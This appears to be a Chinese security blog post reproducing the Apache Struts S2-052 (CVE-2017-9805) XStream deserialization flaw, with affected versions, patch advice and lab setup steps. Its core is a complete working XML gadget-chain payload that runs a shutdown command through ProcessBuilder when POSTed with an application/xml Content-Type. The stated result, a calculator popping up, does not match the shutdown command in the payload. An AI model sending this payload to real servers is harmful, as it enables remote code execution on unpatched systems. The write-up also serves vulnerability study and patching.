st2-052(CVE-2017-9805)远程代码执行漏洞复现

情报

  首先 “吐槽” 一下. 朋友圈的“态势感知”真心吓人, 漏洞刚爆出来,分分钟就被刷屏,甚至连poc在网上都还没找到,就TM复现了,我是遇见了一群什么样的妖孽.

  我在知道这个漏洞的时候,大概是2017年9月5日晚22:00左右,漏洞大概在21:00左右的时候发布的吧,具体时间这个就不追究了。

参考地址:https://cwiki.apache.org/confluence/display/WW/S2-052

影响版本:Struts 2.5 - Struts 2.5.12

漏洞描述:当启用 Struts REST的XStream handler去反序列化处理一个没有经过任何类型过滤的XStream的实例,可能导致在处理XML时造成远程代码执行漏洞。

修复建议:

  1. 升级Apache struts 2.5.13版本

  2. 如果系统没有使用Struts REST插件,那么可以直接删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端文件的扩展名

    1
    <constant name="struts.action.extension" value="xhtml,,json" />

复现过程

  1.先装下环境,并且到官网下载受影响的版本struts-2.5.12.

    ​下载地址:http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

  ​2.配置一下

​   2.1 将下载的zip包中的apps/struts2-rest-showcase.war 放到tomcat安装目录下的webapps

​   2.2 修改一下conf/server.xml文件 (如果是新装环境默认可以不用修改)

1
2
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">

  3.手工测试

   3.1 访问http://127.0.0.1/struts2-rest-showcase/

   3.2 点击edit

   3.3 将Content-Type 修改为 application/xml

   3.4 POST 内容 (无回显)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>shutdown</string><string>-s</string><string>-t</string><string>120</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

  4.测试结果 成功弹出计算器

​ 5.Exp带回显(这个博客就不公布了,PS:找不同)